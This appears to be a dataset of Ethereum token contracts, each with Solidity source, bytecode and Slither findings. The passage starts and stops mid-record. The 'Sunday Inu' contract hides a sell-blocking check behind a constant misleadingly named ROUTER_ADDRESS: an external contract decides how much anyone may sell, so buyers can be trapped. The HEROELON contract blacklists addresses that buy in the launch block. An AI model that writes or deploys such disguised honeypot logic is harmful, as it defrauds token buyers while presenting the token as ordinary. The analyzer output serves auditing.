938501935b828510156118b2576118a3856117a7565b84529385019392850192611892565b98975050505050505050565b6000806000606084860312156118d357600080fd5b83356118de81611792565b925060208401356118ee81611792565b929592945050506040919091013590565b60006020828403121561191157600080fd5b813561112381611792565b801515811461062c57600080fd5b60006020828403121561193c57600080fd5b81356111238161191c565b60006020828403121561195957600080fd5b5035919050565b6000806040838503121561197357600080fd5b823561197e81611792565b9150602083013561198e81611792565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611a0c57611a0c6119e4565b5060010190565b600060208284031215611a2557600080fd5b815161112381611792565b600080600060608486031215611a4557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7057600080fd5b81516111238161191c565b60008219821115611a8e57611a8e6119e4565b500190565b600082821015611aa557611aa56119e4565b500390565b6000816000190483118215151615611ac457611ac46119e4565b500290565b600082611ae657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3b5784516001600160a01b031683529383019391830191600101611b16565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6b1e14811e8f01298f35dca63f7346c2e3ca14c7bc13a026448d89edc21b19664736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 186 |
0xdf2B974364446EE185Cb8cE0fE61055a3B984F7d | //SPDX-License-Identifier: MIT
// Telegram: t.me/sundayinu
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=8;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=320000000;
string constant TOKEN_SYMBOL="SUN";
string constant TOKEN_NAME="Sunday Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract Sunday is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102955780639e752b95146102c1578063a9059cbb146102e1578063dd62ed3e14610301578063f42938901461034757600080fd5b806356d9dce81461022357806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57600080fd5b8063293230b8116100d1578063293230b8146101c6578063313ce567146101dd5780633e07ce5b146101f957806351bc3c851461020e57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a81526953756e64617920496e7560b01b60208201525b60405161014a91906114f3565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461155d565b61035c565b604051901515815260200161014a565b34801561018f57600080fd5b50610198610373565b60405190815260200161014a565b3480156101b257600080fd5b506101736101c1366004611589565b610394565b3480156101d257600080fd5b506101db6103fd565b005b3480156101e957600080fd5b506040516006815260200161014a565b34801561020557600080fd5b506101db610775565b34801561021a57600080fd5b506101db6107ab565b34801561022f57600080fd5b506101db6107d8565b34801561024457600080fd5b506101986102533660046115ca565b610859565b34801561026457600080fd5b506101db61087b565b34801561027957600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a157600080fd5b5060408051808201909152600381526229aaa760e91b602082015261013d565b3480156102cd57600080fd5b506101db6102dc3660046115e7565b61091f565b3480156102ed57600080fd5b506101736102fc36600461155d565b610948565b34801561030d57600080fd5b5061019861031c366004611600565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035357600080fd5b506101db610955565b60006103693384846109bf565b5060015b92915050565b60006103816006600a611733565b61038f90631312d000611742565b905090565b60006103a1848484610ae3565b6103f384336103ee856040518060600160405280602881526020016118c0602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1f565b6109bf565b5060019392505050565b6009546001600160a01b0316331461041457600080fd5b600c54600160a01b900460ff16156104735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049f9030906001600160a01b03166104916006600a611733565b6103ee90631312d000611742565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105169190611761565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059c9190611761565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060d9190611761565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063d81610859565b6000806106526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106df919061177e565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906117ac565b50565b6009546001600160a01b0316331461078c57600080fd5b6107986006600a611733565b6107a690631312d000611742565b600a55565b6009546001600160a01b031633146107c257600080fd5b60006107cd30610859565b905061077281610e59565b6009546001600160a01b031633146107ef57600080fd5b600c54600160a01b900460ff166108485760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046a565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036d90610fd3565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093657600080fd5b6008811061094357600080fd5b600855565b6000610369338484610ae3565b6009546001600160a01b0316331461096c57600080fd5b4761077281611050565b60006109b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108e565b9392505050565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046a565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046a565b6001600160a01b038216610ba95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046a565b60008111610c0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046a565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7e91906117ce565b600c546001600160a01b038481169116148015610ca95750600b546001600160a01b03858116911614155b610cb4576000610cb6565b815b1115610cc157600080fd5b6000546001600160a01b03848116911614801590610ced57506000546001600160a01b03838116911614155b15610e0f57600c546001600160a01b038481169116148015610d1d5750600b546001600160a01b03838116911614155b8015610d4257506001600160a01b03821660009081526004602052604090205460ff16155b15610d9857600a548110610d985760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046a565b6000610da330610859565b600c54909150600160a81b900460ff16158015610dce5750600c546001600160a01b03858116911614155b8015610de35750600c54600160b01b900460ff165b15610e0d57610df181610e59565b47670de0b6b3a7640000811115610e0b57610e0b47611050565b505b505b610e1a8383836110bc565b505050565b60008184841115610e435760405162461bcd60e51b815260040161046a91906114f3565b506000610e5084866117e7565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea157610ea16117fe565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e9190611761565b81600181518110610f3157610f316117fe565b6001600160a01b039283166020918202929092010152600b54610f5791309116846109bf565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f90908590600090869030904290600401611814565b600060405180830381600087803b158015610faa57600080fd5b505af1158015610fbe573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046a565b60006110446110c7565b90506109b88382610976565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108a573d6000803e3d6000fd5b5050565b600081836110af5760405162461bcd60e51b815260040161046a91906114f3565b506000610e508486611885565b610e1a8383836110ea565b60008060006110d46111e1565b90925090506110e38282610976565b9250505090565b6000806000806000806110fc87611263565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112e90876112c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115d9086611302565b6001600160a01b03891660009081526002602052604090205561117f81611361565b61118984836113ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111ce91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f66006600a611733565b61120490631312d000611742565b905061122c6112156006600a611733565b61122390631312d000611742565b60055490610976565b82101561125a576005546112426006600a611733565b61125090631312d000611742565b9350935050509091565b90939092509050565b60008060008060008060008060006112808a6007546008546113cf565b92509250925060006112906110c7565b905060008060006112a38e878787611424565b919e509c509a509598509396509194505050505091939550919395565b60006109b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1f565b60008061130f83856118a7565b9050838110156109b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046a565b600061136b6110c7565b905060006113798383611474565b306000908152600260205260409020549091506113969082611302565b30600090815260026020526040902055505050565b6005546113b890836112c0565b6005556006546113c89082611302565b6006555050565b60008080806113e960646113e38989611474565b90610976565b905060006113fc60646113e38a89611474565b905060006114148261140e8b866112c0565b906112c0565b9992985090965090945050505050565b60008080806114338886611474565b905060006114418887611474565b9050600061144f8888611474565b905060006114618261140e86866112c0565b939b939a50919850919650505050505050565b6000826114835750600061036d565b600061148f8385611742565b90508261149c8583611885565b146109b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046a565b600060208083528351808285015260005b8181101561152057858101830151858201604001528201611504565b81811115611532576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077257600080fd5b6000806040838503121561157057600080fd5b823561157b81611548565b946020939093013593505050565b60008060006060848603121561159e57600080fd5b83356115a981611548565b925060208401356115b981611548565b929592945050506040919091013590565b6000602082840312156115dc57600080fd5b81356109b881611548565b6000602082840312156115f957600080fd5b5035919050565b6000806040838503121561161357600080fd5b823561161e81611548565b9150602083013561162e81611548565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168a57816000190482111561167057611670611639565b8085161561167d57918102915b93841c9390800290611654565b509250929050565b6000826116a15750600161036d565b816116ae5750600061036d565b81600181146116c457600281146116ce576116ea565b600191505061036d565b60ff8411156116df576116df611639565b50506001821b61036d565b5060208310610133831016604e8410600b841016171561170d575081810a61036d565b611717838361164f565b806000190482111561172b5761172b611639565b029392505050565b60006109b860ff841683611692565b600081600019048311821515161561175c5761175c611639565b500290565b60006020828403121561177357600080fd5b81516109b881611548565b60008060006060848603121561179357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117be57600080fd5b815180151581146109b857600080fd5b6000602082840312156117e057600080fd5b5051919050565b6000828210156117f9576117f9611639565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118645784516001600160a01b03168352938301939183019160010161183f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a257634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118ba576118ba611639565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208db6ad332fa1fb91585eea9c869064d2bcfa05eab1c2bee14e82bfb8209c0da264736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 187 |
0xb532ecc97e505ddab07ab1cfe34e46c75f70421b | /*
“People with Asperger’s syndrome shouldn’t have to ‘mask’ – we should be able to just exist in the world, authentically autistic, and the world should be okay with that” - Elon Musk
This token is dedicated to show the gratitude for what Elon has showcased to the world that impossible is nothing. Musk isn't just the world's richest man, though. He's a brilliant inventor. Even though many of the people trying to mock him will be ending up like the artist of this meme drawings.
People with Aspergers have a hard time getting ahead in life. The unemployment rate for people living with autism is higher than the average, and our life expectancy is lower than that of the general population.
Let's joint Elon’s hand to make the world a better place!
Tokenomics
Tax Distribution: 11% Total
4% Holders Rewards
3% Buy-back & burn
2% Marketing
2% Team
TG @HeroElon
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract HEROELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "HeroELON";
string private constant _symbol = "HEROELON";
uint private constant _decimals = 9;
uint256 private _teamFee = 11;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(11).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(11).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
